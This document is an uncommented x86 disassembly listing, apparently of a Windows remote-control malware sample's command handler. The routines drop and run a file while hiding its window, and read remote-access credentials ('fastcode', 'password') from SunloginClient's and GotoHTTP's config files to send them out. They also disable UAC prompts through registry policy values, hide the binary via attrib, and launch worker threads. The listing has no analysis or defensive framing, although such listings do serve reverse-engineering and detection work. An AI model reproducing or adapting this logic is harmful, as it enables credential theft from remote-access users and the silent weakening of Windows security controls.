je 0x40d075
jmp 0x40b6a0
mov ecx, 0x19
lea edi, [ebp - 0x328]
rep movsd dword es:[edi], dword [esi]
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x327]
movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c517
mov ecx, dword [ebp - 0xd20]
lea eax, [ebp - 0xd28]
mov esi, dword [ebp - 0xd2c]
add ecx, 0xffffff9b
push 0
push eax
push ecx
lea ecx, [esi + 0x65]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b813
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push 0
push 0
lea eax, [ebp - 0x327]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a47c.163
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b691
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
jmp case.0x40a47c.163
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xd2c], esi
mov byte [ebp - 4], 1
call fcn.00411020
mov ecx, eax
test ecx, ecx
je 0x40d07f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0xd30], edi
mov byte [ebp - 4], 2
mov ecx, 1
mov eax, dword [esi - 8]
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40b701
push 0x104
lea ecx, [ebp - 0xd2c]
call fcn.0040f590
mov esi, dword [ebp - 0xd2c]
push str.C:ProgramDatagotohttp.ini
push 0x104
push esi
push 0x44aace
push str.name
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40b74b
push 0x104
lea ecx, [ebp - 0xd30]
call fcn.0040f590
mov edi, dword [ebp - 0xd30]
push str.C:ProgramDatagotohttp.ini
push 0x104
push edi
push 0x44aace
push 0x44a8c4
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xd18], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [eax], 0xe3
lea eax, [ebp - 0xf0]
push eax
call esi
push edi
lea eax, [ebp - 0x8c]
push eax
call esi
mov edi, dword [ebp - 0xd18]
lea esi, [ebp - 0xf0]
inc edi
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd18]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004111e0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [ebp - 4], 1
or esi, 0xffffffff
mov edx, dword [ebp - 0xd30]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b7f4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xd2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40b813
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a47c.2
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b847
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
jmp case.0x40a47c.2
mov eax, dword [str.xrk.exe]
xorps xmm0, xmm0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x248], eax
mov ax, word [0x44a8d4]
mov word [ebp - 0x244], ax
mov al, byte [0x44a8d6]
mov dword [ebp - 0x238], 7
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x242], al
mov byte [ebp - 0x241], 0
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 3
call fcn.0040a360
test al, al
je 0x40c13f
lea eax, [ebp - 0xd18]
mov dword [ebp - 0xd18], 0
push eax
push 0
push 0
push 0x43d450
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push dword [ebp - 0xd18]
lea ecx, [ebp - 0x290]
call fcn.0040e710
push str.Oray
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 4
call fcn.0040e710
push str.SunloginClient
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 5
call fcn.0040e710
push str.config.ini
lea ecx, [ebp - 0x388]
mov byte [ebp - 4], 6
call fcn.0040e710
mov byte [ebp - 4], 7
mov eax, SysReAllocString
mov edx, dword [ebp - 0x330]
sub eax, edx
cmp eax, 1
jb 0x40d0a7
cmp dword [ebp - 0x32c], 7
lea eax, [ebp - 0x340]
mov ecx, dword [ebp - 0x340]
lea esi, [ebp - 0x278]
cmova eax, ecx
mov dword [ebp - 0xd24], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xd30], eax
mov edi, 7
mov dword [ebp - 0x268], 0
seta byte [ebp - 0xd19]
mov dword [ebp - 0x264], 0
mov dword [ebp - 0xd34], ecx
xorps xmm0, xmm0
movups xmmword [ebp - 0x278], xmm0
cmp ecx, edi
jbe 0x40ba37
mov edi, ecx
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x40b9bd
mov eax, SysReAllocString
mov edi, SysReAllocString
add eax, eax
jmp 0x40b9df
cmp edi, 0xa
mov eax, 0xa
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x40d089
add eax, eax
cmp eax, 0x1000
jb 0x40ba12
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x40d089
push ecx
call fcn.00419e46
add esp, 4
test eax, eax
je 0x40d0a2
mov ecx, dword [ebp - 0xd34]
lea esi, [eax + 0x23]
mov edx, dword [ebp - 0x330]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x40ba31
test eax, eax
je 0x40ba2f
push eax
call fcn.00419e46
mov ecx, dword [ebp - 0xd34]
add esp, 4
mov edx, dword [ebp - 0x330]
mov esi, eax
jmp 0x40ba31
xor esi, esi
mov dword [ebp - 0x278], esi
mov ax, word [0x44aa90]
mov dword [ebp - 0x268], ecx
lea ecx, [esi + 2]
mov dword [ebp - 0x264], edi
mov word [esi], ax
lea eax, [edx + edx]
push eax
push dword [ebp - 0xd30]
push ecx
call fcn.0041c760
mov eax, dword [ebp - 0x330]
xor ecx, ecx
add esp, 0xc
mov word [esi + eax*2 + 2], cx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x278]
mov esi, dword [ebp - 0x264]
mov eax, esi
mov edx, dword [ebp - 0x268]
sub eax, edx
cmp eax, 1
jb 0x40baba
cmp esi, 7
lea eax, [edx + 1]
mov dword [ebp - 0x268], eax
cmova ecx, dword [ebp - 0x278]
mov ax, word [0x44aa90]
mov word [ecx + edx*2], ax
xor eax, eax
mov word [ecx + edx*2 + 2], ax
lea eax, [ebp - 0x278]
jmp 0x40bacf
push 1
push 0x44aa90
mov byte [ebp - 0x24], 0
push dword [ebp - 0x24]
push 1
call fcn.004102f0
mov dword [ebp - 0x2b0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2ac], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x2c0]
lea ecx, [ebp - 0x370]
call fcn.0040fac0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xa
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
sub eax, esi
cmp eax, 1
jb 0x40bb6b
cmp dword [ecx + 0x14], 7
lea edi, [esi + 1]
mov dword [ecx + 0x10], edi
mov edx, ecx
jbe 0x40bb59
mov edx, dword [ecx]
mov ax, word [0x44aa90]
mov word [edx + esi*2], ax
xor eax, eax
mov word [edx + edi*2], ax
jmp 0x40bb88
push 1
push 0x44aa90
mov byte [ebp - 0xd28], 0
push dword [ebp - 0xd28]
push 1
call fcn.004102f0
mov ecx, eax
mov dword [ebp - 0x298], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x294], 0
xor eax, eax
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x2a8], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x298], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
lea eax, [ebp - 0x388]
mov byte [ebp - 4], 0xb
push eax
lea edx, [ebp - 0x2a8]
lea ecx, [ebp - 0x358]
call fcn.0040fac0
add esp, 4
push eax
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0xc
call fcn.0040f370
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x344]
cmp ecx, 7
jbe 0x40bc47
mov edx, dword [ebp - 0x358]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 7
mov word [ebp - 0x358], ax
cmp ecx, 7
jbe 0x40bcac
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bca2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
cmp ecx, 7
jbe 0x40bd11
mov edx, dword [ebp - 0x370]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 7
mov word [ebp - 0x370], ax
cmp ecx, 7
jbe 0x40bd76
mov edx, dword [ebp - 0x2c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd6c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 7
mov word [ebp - 0x2c0], ax
cmp ecx, 7
jbe 0x40bddb
mov edx, dword [ebp - 0x278]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bdd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
cmp dword [ebp - 0x27c], 7
lea ecx, [ebp - 0x290]
mov eax, dword [ebp - 0x280]
jbe 0x40bdfb
mov esi, dword [ebp - 0x290]
lea edi, [esi + eax*2]
jmp 0x40be04
lea edi, [ecx + eax*2]
lea esi, [ebp - 0x290]
mov dword [ebp - 0x250], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x260], xmm0
cmp esi, edi
jne 0x40be33
mov ecx, 0xf
mov byte [ebp - 0x260], 0
mov dword [ebp - 0x24c], ecx
jmp 0x40bf56
sub edi, esi
mov dword [ebp - 0x24c], 0xf
sar edi, 1
cmp edi, 0x7fffffff
ja 0x40d0a7
mov eax, 0xf
cmp edi, eax
jbe 0x40bf09
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x40be7a
mov eax, SysReAllocString
mov dword [ebp - 0xd30], SysStringLen
add eax, 0x23
jmp 0x40bea5
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0xd30], eax
lea ecx, [eax + 1]
cmp ecx, 0x1000
jb 0x40bed6
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x40d089
push eax
call fcn.00419e46
add esp, 4
test eax, eax
je 0x40d0a2
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [ebp - 0xd30]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x24c], eax
jmp 0x40bf0f
test ecx, ecx
je 0x40bef9
push ecx
call fcn.00419e46
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0xd30]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x24c], eax
jmp 0x40bf0f
xor ecx, ecx
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x260], ecx
jmp 0x40bf0f
mov ecx, dword [ebp - 0x260]
cmp eax, 0xf
lea edx, [ebp - 0x260]
cmova edx, ecx
mov dword [ebp - 0xd34], edx
mov ecx, edx
mov edx, edi
test edi, edi
je 0x40bf40
nop dword [eax]
mov al, byte [esi]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea esi, [esi + 2]
sub edx, 1
jne 0x40bf30
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0x250], edi
mov byte [eax + edi], 0
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x260]
cmova eax, dword [ebp - 0x260]
push 0
push eax
call fcn.00423640
add esp, 8
cmp eax, 0xffffffff
jne 0x40c1ed
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
jbe 0x40bfbc
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bfb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
cmp ecx, 7
jbe 0x40c01b
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c011
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 7
jbe 0x40c05f
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c055
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov byte [ebp - 4], 4
cmp byte [ebp - 0xd19], 0
je 0x40c0ab
mov ecx, dword [ebp - 0x32c]
mov edx, dword [ebp - 0xd24]
mov eax, edx
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x40c0a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x27c]
cmp ecx, 7
jbe 0x40c0ef
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c0e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov esi, dword [ebp - 0xd2c]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a47c.173
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c130
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
jmp case.0x40a47c.173
mov ecx, 0x19
lea edi, [ebp - 0x328]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x327]
movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c517
mov ecx, dword [ebp - 0xd20]
lea eax, [ebp - 0x14]
mov esi, dword [ebp - 0xd2c]
add ecx, 0xffffff9b
push 0
push eax
push ecx
lea ecx, [esi + 0x65]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40c517
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x327]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x44a930
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x40c1c0
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x40c0f5
call fcn.00411020
mov ecx, eax
test ecx, ecx
je 0x40d08e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xd2c], esi
mov byte [ebp - 4], 0xe
call fcn.00411020
mov ecx, eax
test ecx, ecx
je 0x40d098
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0xd30], edi
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x260]
cmp dword [ebp - 0x24c], 0xf
mov ecx, 1
cmova eax, dword [ebp - 0x260]
sub ecx, dword [esi - 4]
mov dword [ebp - 0xd28], eax
mov eax, dword [esi - 8]
sub eax, 0x104
or eax, ecx
jge 0x40c277
push 0x104
lea ecx, [ebp - 0xd2c]
call fcn.0040f590
mov esi, dword [ebp - 0xd2c]
push dword [ebp - 0xd28]
push 0x104
push esi
push 0x44aace
push str.fastcode
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [ebp - 0x24c], 0xf
lea eax, [ebp - 0x260]
mov ecx, 1
cmova eax, dword [ebp - 0x260]
sub ecx, dword [edi - 4]
mov dword [ebp - 0xd28], eax
mov eax, dword [edi - 8]
sub eax, 0x104
or eax, ecx
jge 0x40c2dc
push 0x104
lea ecx, [ebp - 0xd30]
call fcn.0040f590
mov edi, dword [ebp - 0xd30]
push dword [ebp - 0xd28]
push 0x104
push edi
push 0x44aace
push str.password
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xd34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [eax], 0xe5
lea eax, [ebp - 0xf0]
push eax
call esi
push edi
lea eax, [ebp - 0x8c]
push eax
call esi
mov edi, dword [ebp - 0xd34]
lea esi, [ebp - 0xf0]
inc edi
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd34]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004111e0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [ebp - 4], 0xe
or esi, 0xffffffff
mov edx, dword [ebp - 0xd30]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c386
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0xd2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40c3a5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
jbe 0x40c3df
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c3d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
cmp ecx, 7
jbe 0x40c43a
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c430
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 7
jbe 0x40c47a
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c470
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x32c]
cmp ecx, 7
jbe 0x40c4ba
mov edx, dword [ebp - 0xd24]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c4b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x27c]
cmp ecx, 7
jbe 0x40c4fa
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c4f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 7
mov word [ebp - 0x290], ax
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a47c.2
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b847
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
jmp 0x40b847
mov dword [0x44fb68], 3
nop
call fcn.0040d2b0
cmp al, 1
mov ecx, edi
push 1
lea eax, [ebp - 0xd19]
push eax
je 0x40c58e
mov byte [ebp - 0xd19], 0xe2
call fcn.004111e0
cmp dword [0x44fb68], 0
jne 0x40c560
jmp case.0x40a47c.2
mov byte [ebp - 0xd19], 0xe1
call fcn.004111e0
jmp case.0x40a47c.2
call fcn.0040d2b0
cmp al, 1
mov ecx, edi
push 1
lea eax, [ebp - 0xd19]
push eax
je 0x40c58e
mov byte [ebp - 0xd19], 0xe2
call fcn.004111e0
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x408c10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.0041cce0
push 0x104
lea eax, [ebp - 0x48c]
push 0
push eax
call fcn.0041cce0
push 0x104
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.0041cce0
add esp, 0x24
lea eax, [ebp - 0x12c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x12c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x104
lea eax, [ebp - 0x48c]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x230]
push str._c_attrib
push eax
call esi
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x230]
push eax
call esi
push str._s_h
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x48c]
mov dword [ebp - 0x300], 0x3c
mov dword [ebp - 0x2f0], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x2ec], eax
lea eax, [ebp - 0x300]
push eax
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], str.Open
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2fc], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40c729
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push dword [ebp - 0x2c8]
call esi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
lea eax, [ebp - 0x12c]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
call fcn.00408cf0
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409100
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x7d0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x4091e0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a47c.2
push 0x44a464
call fcn.00422f39
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40c80f
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0xd24]
call esi
push dword [ebp - 0xd24]
call edi
push 0x44a464
call fcn.00422f39
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a47c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0xd24]
call esi
push dword [ebp - 0xd24]
call edi
jmp case.0x40a47c.2
mov dword [0x451d10], 1
push 0
push 0
push 0
push 0x409a40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409a90
push 0
push 0
mov dword [0x451d0c], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409ae0
push 0
push 0
mov dword [0x451d08], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409b80
push 0
push 0
mov dword [0x451d00], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409b30
push 0
push 0
mov dword [0x451d04], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
mov dword [0x451d10], 0
